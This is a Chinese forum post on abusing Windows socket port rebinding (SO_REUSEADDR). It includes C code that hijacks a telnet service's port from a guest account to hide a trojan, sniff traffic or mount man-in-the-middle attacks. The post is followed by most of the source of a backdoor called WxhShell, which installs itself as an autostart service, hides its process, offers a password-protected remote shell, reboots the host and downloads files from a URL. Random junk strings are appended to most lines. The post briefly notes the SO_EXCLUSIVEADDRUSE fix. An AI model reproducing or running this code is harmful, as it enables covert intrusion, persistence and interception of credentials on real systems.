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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: xzbyar<  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )UO:J7K  
S9t_2%e  
  saddr.sin_family = AF_INET; 1BmevE a)  
i\ X Ok!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); t=d~\_Oa  
{|O8)bW'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); YO|Kc {j2e  
% Lhpj[C  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 r*OSEzGUz  
y9?BvPp+  
  这意味着什么?意味着可以进行如下的攻击: o5-oQ_ j  
!FX;QD@"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 *}$T:kTH  
![18+Q\  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 50F6jj  
C7[_#1Oz  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 TwqyQ49  
|)B&-~a+p  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &gw. &/t  
z;xp1t @  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `_N8A A  
;^^u_SuH  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 u`xmF/jhQ  
7  g8SK  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 F<M#T  
;$wS<zp6  
  #include ) ^'Q@W  
  #include ! ;x  
  #include T2AyQ~5~  
  #include    $pyM<:*L&<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   <!v^Df  
  int main() y+)][Wa0  
  { 5hUYxF20h8  
  WORD wVersionRequested; Zz'(!h Uy  
  DWORD ret; Ia=wf"JS)  
  WSADATA wsaData; Xw(e@ :  
  BOOL val; Z2_eTC u  
  SOCKADDR_IN saddr; ),(ejRP'r  
  SOCKADDR_IN scaddr; cZuZfMDM  
  int err; 4_ztIrw  
  SOCKET s; !h4S`2oZ/  
  SOCKET sc; mnzamp  
  int caddsize; (`5No:?v<  
  HANDLE mt; tKjPLi71  
  DWORD tid;   |FHeT*"  
  wVersionRequested = MAKEWORD( 2, 2 ); "CapP`:  
  err = WSAStartup( wVersionRequested, &wsaData ); fIu5d6;'  
  if ( err != 0 ) { 5?r#6:(yI  
  printf("error!WSAStartup failed!\n"); @Kd1|K  
  return -1; )l[<3< @s  
  } e#(0af8A  
  saddr.sin_family = AF_INET; bIu '^  
   >Vy=5)/i  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 o3P`y:&  
Qr Dzf e[  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Kn SXygT  
  saddr.sin_port = htons(23); QXY-?0RO#  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) };o6|e:2E  
  { 1mm/Ssw:C  
  printf("error!socket failed!\n"); QZ$94XLI  
  return -1; BC ]^BKP  
  } A,ttn5Sh?  
  val = TRUE; ^0_*AwIcN  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7Vr .&`l  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) j0B, \A  
  { {+r pMUs#  
  printf("error!setsockopt failed!\n"); rk*Igqf  
  return -1; c9/w-u~j  
  } tSV}BM,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; LzB)o\a  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]:(>r&'  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :WIbjI=  
!MS z%QcO  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =24)`Lyb  
  {  TOdH  
  ret=GetLastError(); .7++wo!,  
  printf("error!bind failed!\n"); "#z4  
  return -1; ck>|p09q'9  
  } 5V!L~#  
  listen(s,2); C18pK8-  
  while(1) y:WRpCZoa  
  { dE!{=u(!i  
  caddsize = sizeof(scaddr); B(w k $2  
  //接受连接请求 ;2q;RT`h  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); M p:c.  
  if(sc!=INVALID_SOCKET) M8X*fYn  
  { @ +h2R  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5gARGA  
  if(mt==NULL) 4Z)`kS} =]  
  { 9:4PJ%R9  
  printf("Thread Creat Failed!\n"); `e .;P  
  break; O6LZ<}oUR  
  } ;ob-'  
  } [7q~rcf,Z  
  CloseHandle(mt); w~y+Pv@   
  } rVowHP  
  closesocket(s); zDeh#  
  WSACleanup(); x tg3~/H  
  return 0; +8Yt91   
  }   :P #   
  DWORD WINAPI ClientThread(LPVOID lpParam) !SEHDRp  
  { $'btfo4H  
  SOCKET ss = (SOCKET)lpParam; }@=m[Zx#  
  SOCKET sc; Idop!b5!  
  unsigned char buf[4096]; . \M@oF  
  SOCKADDR_IN saddr; 7D\#1h  
  long num; "(5A 5>  
  DWORD val; *q_ .y\D  
  DWORD ret; FKY|xG9  
  //如果是隐藏端口应用的话,可以在此处加一些判断 u4bPj2N8I  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   (2(I|O#  
  saddr.sin_family = AF_INET; ]Cnj=\'  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9-[g/qrF  
  saddr.sin_port = htons(23); nF0$  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,u^i0uOg  
  { zD}dvI}  
  printf("error!socket failed!\n"); H>AQlO+J  
  return -1; CT+pkNC  
  } hu%rp{m^,  
  val = 100; G`!#k!&r  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jG)fM?  
  { _;3xG0+  
  ret = GetLastError(); 6 DqV1'  
  return -1; &MsnQP  
  } XFeHkU`C  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) YdX#`  
  { kKAK;JQ  
  ret = GetLastError(); <\!+J\YTA  
  return -1; He}qgE>Us  
  } zm4Okg)w@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) li;Np5P  
  { Z7% |'E R  
  printf("error!socket connect failed!\n"); ~F~g$E2 }  
  closesocket(sc); \_}Y4  
  closesocket(ss); T V\21  
  return -1; ?VS(W  
  } ; S7 %  
  while(1) 9Slx.9f  
  { Bm2"} =  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 A+w51Q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 SjV;& 1Z/  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 "& 'h\  
  num = recv(ss,buf,4096,0); |_/q0#"  
  if(num>0) 5VdF^.:u  
  send(sc,buf,num,0); :\9E%/aAD  
  else if(num==0) hd1(q33  
  break; Z12-Vps  
  num = recv(sc,buf,4096,0); w^EAk(77  
  if(num>0) \72(d  
  send(ss,buf,num,0); \M(0@#-$C  
  else if(num==0) Eh&*"&fHR  
  break; \L}aTCvG  
  } &+;z`A'|8  
  closesocket(ss); ?ORG<11a  
  closesocket(sc); hZf0q 2  
  return 0 ; (@@t,\iF  
  } 0*S]m5#;  
Q laz3X,P  
yM>:,TS  
========================================================== ,<s'/8Ik  
e2CjZ"C  
下边附上一个代码,,WXhSHELL :td6Mywl  
{jO:9O @  
========================================================== :S'P lH  
:5IbOpVM  
#include "stdafx.h" PrqN5ND  
5D 9I;L{  
#include <stdio.h> @T[}] e  
#include <string.h> aal5d_Y  
#include <windows.h> mlc0XDS%  
#include <winsock2.h> Rl90uF]8  
#include <winsvc.h> tQE=c 7/M  
#include <urlmon.h> 2iC7c6hc  
k44s V.G4L  
#pragma comment (lib, "Ws2_32.lib") L;$Gn"7~  
#pragma comment (lib, "urlmon.lib") unu%\f>^4  
Tl"GOpH\]  
#define MAX_USER   100 // 最大客户端连接数 m[7@l  
#define BUF_SOCK   200 // sock buffer ,pL%,>R5  
#define KEY_BUFF   255 // 输入 buffer C# IV"Pkq  
E+-ah vk  
#define REBOOT     0   // 重启 It>8XKS  
#define SHUTDOWN   1   // 关机 vpu20?E>5z  
FJJ+*3(  
#define DEF_PORT   5000 // 监听端口 U;f~Q6iu  
F,}wQ N  
#define REG_LEN     16   // 注册表键长度 \nT, NV11  
#define SVC_LEN     80   // NT服务名长度 k/bY>FY2r  
@)=\q`vV  
// 从dll定义API $?RxmWsP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /KGVMBifM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); I?c "\Fe  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kSj,Pl\NC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <yzgZXxIaS  
gE2k]`[j]  
// wxhshell配置信息 L5$r<t<  
struct WSCFG { ZdG?fWWA  
  int ws_port;         // 监听端口 ?IRp3H  
  char ws_passstr[REG_LEN]; // 口令 3>;zk#b2  
  int ws_autoins;       // 安装标记, 1=yes 0=no MQ7d IUs  
  char ws_regname[REG_LEN]; // 注册表键名 Q${0(#Nu  
  char ws_svcname[REG_LEN]; // 服务名 sbn|D\p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \`3YE~7J/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~5LlIpf36|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r5y p jT^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "`<tq#&C1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nv>|,&;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j_L1KB*  
&`"Q*N2{  
}; ^1y (N>W  
1_$y bftS  
// default Wxhshell configuration S%J$.ge  
struct WSCFG wscfg={DEF_PORT, Dn/{  s$\  
    "xuhuanlingzhe", j)?[S  
    1, NvCq5B$C  
    "Wxhshell", %6Wv-:LY  
    "Wxhshell", O6JH)Ka"S  
            "WxhShell Service", <NRW^#g<x  
    "Wrsky Windows CmdShell Service", P X/{  
    "Please Input Your Password: ", 'MZX"t  
  1, ?Pg{nlJvq  
  "http://www.wrsky.com/wxhshell.exe", aVTTpMY  
  "Wxhshell.exe" W ~(4t:hp  
    }; ( -^-  
x[XN;W&  
// 消息定义模块 $&D$Uc`U>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; vX|i5P0)8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @hC,J  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; NQb!?w  
char *msg_ws_ext="\n\rExit."; '?7?"v  
char *msg_ws_end="\n\rQuit."; rjsqXo:9  
char *msg_ws_boot="\n\rReboot..."; 8K(3{\J[V  
char *msg_ws_poff="\n\rShutdown..."; [!Uzw 2  
char *msg_ws_down="\n\rSave to "; vb^/DMhz  
O#[+= ^  
char *msg_ws_err="\n\rErr!"; 3%`asCW$  
char *msg_ws_ok="\n\rOK!"; +<qmVW^X  
`Hj{XIOx  
char ExeFile[MAX_PATH]; &oi*]:<FNe  
int nUser = 0; !<`}m E!:  
HANDLE handles[MAX_USER]; #a7 Wx}  
int OsIsNt; G.Z4h/1<  
Z*r;"WHB  
SERVICE_STATUS       serviceStatus; [fVtQ@-S!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~+ _|J"\  
Iu(j"b#  
// 函数声明 eYSVAj  
int Install(void); QN!.~>  
int Uninstall(void); }?PvNK]",  
int DownloadFile(char *sURL, SOCKET wsh); C|"BMam  
int Boot(int flag); B_Qi  
void HideProc(void); Tz/=\_}  
int GetOsVer(void); !{On_>` ,  
int Wxhshell(SOCKET wsl); dt -EY  
void TalkWithClient(void *cs); P|M#S9^]  
int CmdShell(SOCKET sock); H_3-"m&3  
int StartFromService(void); ]<y _ =>  
int StartWxhshell(LPSTR lpCmdLine); jGV+ ~a  
ruqx #]-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Um4$. BKD  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r7dvj#^  
+[W_J z  
// 数据结构和表定义 #L,>)XkjS  
SERVICE_TABLE_ENTRY DispatchTable[] = NR98I7  
{ 5Z (1&  
{wscfg.ws_svcname, NTServiceMain}, uLr 9*nxd  
{NULL, NULL} SU. 9;I !  
}; `8 Q3=^)3  
X MkyX&y  
// 自我安装 ,V$PV,G  
int Install(void) h7 uv0a~0  
{ wXj!bh8\r  
  char svExeFile[MAX_PATH]; bBwMx{iNNz  
  HKEY key; #~ikR.-+Eq  
  strcpy(svExeFile,ExeFile); %~z/,[wk  
<qGVOAnz+  
// 如果是win9x系统,修改注册表设为自启动 Z]Zs"$q@  
if(!OsIsNt) { 1rhEk|pGZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :i{$p00 G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xw1@&QwM  
  RegCloseKey(key); zpPzXQv]/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i^Ba?r;*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }Z^r<-N  
  RegCloseKey(key); Ky6.6Y<.|  
  return 0; Nd b_|  
    } iEe<+Eyns  
  } UXU!sd  
} (t^&L  
else { FPg5!O%  
Z.!tp  
// 如果是NT以上系统,安装为系统服务 ,ypD0Q   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]m ED3#  
if (schSCManager!=0) t,CC~  
{ <OYy ;s  
  SC_HANDLE schService = CreateService oh>X/uj  
  ( ^ W/,Z`  
  schSCManager, WziX1%0$n  
  wscfg.ws_svcname, l~cT]Ep  
  wscfg.ws_svcdisp, 49/j9#hr  
  SERVICE_ALL_ACCESS, /3]b!lFZZ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , u<}PcI.  
  SERVICE_AUTO_START, *qh$,mp>  
  SERVICE_ERROR_NORMAL, [1Os.G2  
  svExeFile, 4tZnYGvqe  
  NULL, 'Cc(}YY0C  
  NULL, K9-?7X  
  NULL, u0 & aw  
  NULL, *F ya qJ)  
  NULL V={`k$p  
  ); HizMjJ|  
  if (schService!=0) ^N{Lau  
  { qa|"kRCO  
  CloseServiceHandle(schService); VW," dmC  
  CloseServiceHandle(schSCManager); 7mUpn:U  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,{KjVv<  
  strcat(svExeFile,wscfg.ws_svcname); d{~5tv- H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O&ur |&v  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ue YBD]3'  
  RegCloseKey(key); p-KMELB  
  return 0; a.oZ}R7'Y  
    } t&GjW6]W  
  } zAr@vBfC%  
  CloseServiceHandle(schSCManager); d&!ZCq#_e  
} FN-j@  
} ]GSs{'Uh B  
!'ylh8}  
return 1; zVSbEcr,C~  
} :yLSLN  
)2 Omsh  
// 自我卸载 ^5"2s:vP  
int Uninstall(void) *58`}]  
{ ;PBybR W  
  HKEY key; 5)}3C_pmW  
l7g< $3  
if(!OsIsNt) { 2f;fdzjk8K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xe4F4FC'  
  RegDeleteValue(key,wscfg.ws_regname); N[(ovr  
  RegCloseKey(key); vCPiT2G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hH=H/L_Z  
  RegDeleteValue(key,wscfg.ws_regname); y 093-  
  RegCloseKey(key); a0s6G3J+9  
  return 0; Hl@)j   
  } f/_RtOSw  
} xj1FCT2  
} ]i}3`e?  
else { K1vm [Ne  
RsY7F;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `#X\@?'5  
if (schSCManager!=0) "F,d}3}  
{ A;pVi;7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %J_`-\)"{~  
  if (schService!=0) 2J^jSgr50d  
  { 6$d3Ap@Gl  
  if(DeleteService(schService)!=0) { ]A;{D~X^w  
  CloseServiceHandle(schService); sz5&P )X  
  CloseServiceHandle(schSCManager); > @Ux8#  
  return 0; uk8vecj  
  } \~3g*V  
  CloseServiceHandle(schService); jz\LI  
  } B%|cp+/  
  CloseServiceHandle(schSCManager); 8T}Ycm5}  
} eyx;8v cM  
} B{:JD^V!  
rPk=9I  
return 1; r306`)kX  
} q- U/JC  
D"5uN0Z  
// 从指定url下载文件 ac/=%om8u  
int DownloadFile(char *sURL, SOCKET wsh) "R"7'sJMI  
{ (sngq{*%%z  
  HRESULT hr; F<KUVe  
char seps[]= "/"; qk Cj33v  
char *token; ?q&*|-%)_d  
char *file; E7XFt#P.  
char myURL[MAX_PATH]; :d&^//9  
char myFILE[MAX_PATH]; UuNcBzB2d  
:HDl-8]Lw  
strcpy(myURL,sURL); -I#]#i@gX  
  token=strtok(myURL,seps); LD'eq\vO  
  while(token!=NULL) sj)$o94=  
  { o6FSSKM  
    file=token; l'_P]@*  
  token=strtok(NULL,seps); 7~t,Pt)  
  } sT.:"Pj$  
%&c+} m  
GetCurrentDirectory(MAX_PATH,myFILE); E(5'vr0  
strcat(myFILE, "\\"); CC(At.dd  
strcat(myFILE, file); xB1Oh+@i  
  send(wsh,myFILE,strlen(myFILE),0); b*-g@S  
send(wsh,"...",3,0); \2F$FRWo  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )czuJ5  
  if(hr==S_OK) s^ t1T&  
return 0; ews4qP  
else Z#-:zD7_  
return 1; DI P(  
a0vg%Z@!  
} t@a2@dX|  
V b=Oz  
// 系统电源模块 YS}uJ&WoF  
int Boot(int flag) H.8f-c-4we  
{ JN{.-k4Ha  
  HANDLE hToken; l8"  
  TOKEN_PRIVILEGES tkp; NH?q/4=I0W  
f0 ;Fokt(  
  if(OsIsNt) { yQ33JQr  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @KM !g,f  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3NEbCILF  
    tkp.PrivilegeCount = 1; MEOVw[hO  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [")3c)OH|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <X7x  
if(flag==REBOOT) { 6cCC+*V{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^Vl{IsY  
  return 0; {8NnRnzU  
} DEGEr-  
else { 9-<EeV_/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <2cl1Fb  
  return 0; &cty&(2p  
} 7XE |5G  
  } &_q&TEi  
  else { 'USol<  
if(flag==REBOOT) { #6])\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R$'0<y8E*]  
  return 0; gm**9]k^{  
} I}5#!s< {&  
else { 0]tr&BLl*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <NV[8B#k]  
  return 0; 9{gY|2R_  
} xWY%-CWY.  
} kPN:m ow  
CJ*8x7-t  
return 1; YlI/~J  
} YT)jBS~&  
O|t@p=]  
// win9x进程隐藏模块 fc'NU(70c  
void HideProc(void) @M[t|  
{ (Rqn)<<2  
7*bUy)UZ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dgLE/r?  
  if ( hKernel != NULL ) oDY $F%  
  { S4/CL4=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z(sfX}%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); C;#-2^h  
    FreeLibrary(hKernel); #nQZ/[|  
  } ac8+?FpK #  
wS*An4%G  
return; t'msgC6=>u  
} WJefg  
+,`Cv_O  
// 获取操作系统版本 -L;sv0  
int GetOsVer(void) D0'L  
{ t5r,3x!E  
  OSVERSIONINFO winfo; Fa}3UVm  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); M2UF3xD   
  GetVersionEx(&winfo); f(Vr&X  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d5/x2!mH8  
  return 1; i%jti6z$Hr  
  else h n:  
  return 0; -O.q$D=as  
} i:9f#  
sEpY&6*  
// 客户端句柄模块 Z=VAjJ;i[  
int Wxhshell(SOCKET wsl) Igowz7  
{ Z`L-UQJ .  
  SOCKET wsh; huj 6Ysr  
  struct sockaddr_in client; "~ 1:7{k  
  DWORD myID; #r\,oXTm  
q~*9A-MH  
  while(nUser<MAX_USER) 7(RtPL pZ  
{ `Sh#> Jp  
  int nSize=sizeof(client); ElJM. a  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~p9nAACU  
  if(wsh==INVALID_SOCKET) return 1; !q:[$g-@q  
vM_UF{a$=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); LxWnPi ^  
if(handles[nUser]==0) $a^YJY^_  
  closesocket(wsh); xcBV,[E{  
else c&!EsMsU  
  nUser++; W4 v/,g>  
  } <m;idfn  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )tB:g.2k  
V`F]L^m=L  
  return 0; C%hMh/Li;  
} :A+nmz!z  
^FaBaDcnl  
// 关闭 socket 6Fp}U  
void CloseIt(SOCKET wsh) A~MAaw!YE  
{ |y,%dFNLf  
closesocket(wsh); >=G-^z:  
nUser--; mB.ybrig  
ExitThread(0); X rBe41  
} gP&G63^  
@FC|1=+  
// 客户端请求句柄 N3J T[7  
void TalkWithClient(void *cs) uB;\nj5'D  
{ !Ee#jCXS  
*V@>E2@  
  SOCKET wsh=(SOCKET)cs; ]: VR3e"H  
  char pwd[SVC_LEN]; m Mp(  
  char cmd[KEY_BUFF]; A1VbqA  
char chr[1]; l/(|rl#6  
int i,j; d D%Sbb  
j2@19YXe@  
  while (nUser < MAX_USER) { /Y NV  
@|3PV  
if(wscfg.ws_passstr) { woQ UrO(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1N8:,bpsT  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b FV+|0  
  //ZeroMemory(pwd,KEY_BUFF); Wq5Nc  
      i=0; @xKfqKoqg  
  while(i<SVC_LEN) { ]+C;C  
XTzz/.T;Z  
  // 设置超时 /z'fFl^6O  
  fd_set FdRead; *@2+$fgz  
  struct timeval TimeOut; 58TH|Rj+I  
  FD_ZERO(&FdRead); a]JQZo1$  
  FD_SET(wsh,&FdRead); Me*woCos'  
  TimeOut.tv_sec=8; ssf.ef$  
  TimeOut.tv_usec=0; @-^jbmu^ P  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l1<]pdLTR  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); dm;C @.ML  
,{tz%\, %  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;|C[.0;kgv  
  pwd=chr[0]; Sbf+;:D  
  if(chr[0]==0xd || chr[0]==0xa) { UEm~5,>$0  
  pwd=0; -w>2!@8  
  break; ; M)l7f  
  } Qyh_o  
  i++; u 2)#Ml  
    } d&N[\5q  
rMV<}C ^  
  // 如果是非法用户,关闭 socket 3Ryae/Nk  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #2dd`F8  
} UW!*=?h  
o@o0V  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8`I/\8;H'p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `~~.0QC  
1[? xU:;9  
while(1) { U};~ff+  
"Uk "  
  ZeroMemory(cmd,KEY_BUFF); )/32sz]~  
dfU z{  
      // 自动支持客户端 telnet标准   =_\+6\_  
  j=0; F<W`zQ46  
  while(j<KEY_BUFF) { :6N'%LKK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h'QEwW  
  cmd[j]=chr[0]; y<r@zb9  
  if(chr[0]==0xa || chr[0]==0xd) { B#zu< z  
  cmd[j]=0; EZ  N38T  
  break; 0j'H5>m"  
  } )MV`(/BC*  
  j++; 0 It[Pa qG  
    } cx+li4v  
XIS.0]~  
  // 下载文件 '4T]=s~N  
  if(strstr(cmd,"http://")) { V~9vf*X  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @bkZ< Gq  
  if(DownloadFile(cmd,wsh)) %.NOQ<@W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ITUwIpA E  
  else :)djHPP*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kdr?I9kwW  
  } ('9LUFw\  
  else { >Rnj6A|Q  
FQ" ;v"  
    switch(cmd[0]) { l.Psh7B2  
  ".@}]z8  
  // 帮助 nQ\)~MKd  
  case '?': { 2D?V0>/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dn? #}^,"  
    break; QqF&lMH  
  } 9f wFSJx  
  // 安装 TgDx3U[  
  case 'i': { /:<.Cn>-  
    if(Install()) $ts%SDM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RyAss0Sm^  
    else K6 {0`'x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y4^w8'%MC  
    break; \G+uK:PC,  
    } =Wgz\uGJ  
  // 卸载 31FQ=(K  
  case 'r': { .q!U@}k.  
    if(Uninstall()) AV t(e6H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WNE=|z#|  
    else Vk3xWD~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "Z\^dR  
    break; `1 tD&te0  
    } xs'vd:l.Pp  
  // 显示 wxhshell 所在路径 N:_U2[V^d  
  case 'p': { !yfQ^a_ O  
    char svExeFile[MAX_PATH]; c)7i%RF'  
    strcpy(svExeFile,"\n\r"); 7aV(tMzd  
      strcat(svExeFile,ExeFile); 9rd7l6$R"  
        send(wsh,svExeFile,strlen(svExeFile),0); i&%/]Nq  
    break; qi ;X_\v  
    } vvsQf%  
  // 重启 a4B#?p  
  case 'b': { L,KK{o|Eq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =9LeFrz  
    if(Boot(REBOOT)) & rsNB:!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8/tvS8I#y  
    else { _NkVi_UX  
    closesocket(wsh); 9=-d/y?  
    ExitThread(0); 2X= pu. ;F  
    } O<:"Irq\qr  
    break; [|:kS  
    } *j`{ K  
  // 关机 McXid~  
  case 'd': { BB>R=kt  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !_ng_,J  
